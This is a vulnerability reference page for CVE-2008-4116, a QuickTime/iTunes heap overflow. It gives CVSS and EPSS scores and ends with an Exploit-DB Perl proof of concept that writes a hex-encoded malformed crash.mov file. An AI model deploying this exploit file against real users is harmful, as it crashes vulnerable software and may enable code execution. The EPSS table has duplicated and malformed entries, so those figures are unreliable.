CVE-2008-4116

CVE Descriptions

Buffer overflow in Apple QuickTime 7.5.5 and iTunes 8.0 allows remote attackers to cause a denial of service (browser crash) or possibly execute arbitrary code via a long type attribute in a quicktime tag (1) on a web page or embedded in a (2) .mp4 or (3) .mov file, possibly related to the Check_stack_cookie function and an off-by-one error that leads to a heap-based buffer overflow.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-119	Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	9.3		AV:N/AC:M/Au:N/C:C/I:C/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	8.9%	–	–
2022-04-03	–	–	8.9%	–	–
2022-05-15	–	–	8.9%	–	–
2023-03-12	–	–	–	6.49%	–
2024-01-21	–	–	–	7.76%	–
2024-02-25	–	–	–	6.54%	–
2024-06-02	–	–	–	6.81%	–
2024-06-09	–	–	–	8.65%	–
2024-12-22	–	–	–	8.65%	–
2025-01-05	–	–	–	8.65%	–
2025-02-23	–	–	–	8.94%	–
2025-01-19	–	–	–	8.65%	–
2025-02-23	–	–	–	8.94%	–
2025-03-18	–	–	–	–	8.14%
2025-03-30	–	–	–	–	11.9%
2025-04-06	–	–	–	–	9.68%
2025-04-06	–	–	–	–	9.68,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	83%
2022-04-03	93%
2022-05-15	94%
2023-03-12	93%
2024-01-21	94%
2024-02-25	94%
2024-06-02	94%
2024-06-09	95%
2024-12-22	94%
2025-01-05	95%
2025-02-23	95%
2025-01-19	95%
2025-02-23	95%
2025-03-18	92%
2025-03-30	93%
2025-04-06	92%
2025-04-06	92%

Exploit information

Exploit Database EDB-ID : 6471

Publication date : 2008-09-15 22h00 +00:00
Author : securfrog
EDB Verified : Yes

############################################################################### # Quicktime7.5.5/Itunes 8.0 Remote Heap Overflow Crash # Vendor: http://www.apple.com/ # Risk : high # # The "<? quicktime type= ?>" tag fail to handle long strings, which can lead to a heap overflow in Quicktime/Itunes media player. # This bug can be remote or local, Quicktime/Itunes parse any supplied file for a reconized header even if the header is not corresponding # to the filetype, so you can put some xml in a mp4, mov,etc and open it with quicktime or you can do the same in some html page leading to a # remote crash on firefox, IE and any browser using the Quicktime plugin. # Code execution may be possible. my $payload = "\x3c\x3f\x78\x6d\x6c\x20\x76\x65\x72\x73\x69\x6f\x6e\x3d\x22\x31\x2e\x30\x22\x3f". "\x3e\x0d\x0a\x3c\x3f\x71\x75\x69\x63\x6b\x74\x69\x6d\x65\x20\x74\x79\x70\x65\x3d". "\x22\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x71\x75\x69\x63\x6b". "\x74\x69\x6d\x65\x2d\x6d\x65\x64\x69\x61\x2d\x6c\x69\x6e\x6b\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20". "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x22\x3f\x3e". "\x0d\x0a\x3c\x65\x6d\x62\x65\x64\x20\x73\x72\x63\x3d\x22\x72\x74\x73\x70\x3a\x2f". "\x2f\x6e\x6f\x73\x69\x74\x65\x2e\x63\x6f\x6d\x2f\x6e\x6f\x76\x69\x64\x7a\x2e\x6d". "\x6f\x76\x22\x20\x61\x75\x74\x6f\x70\x6c\x61\x79\x3d\x22\x77\x68\x61\x74\x65\x76". "\x65\x72\x22\x20\x2f\x3e\x00"; my $file="crash.mov"; open(my $file, ">>$file") or die "Cannot open $file: $!"; print $file $payload; close($file); # milw0rm.com [2008-09-16]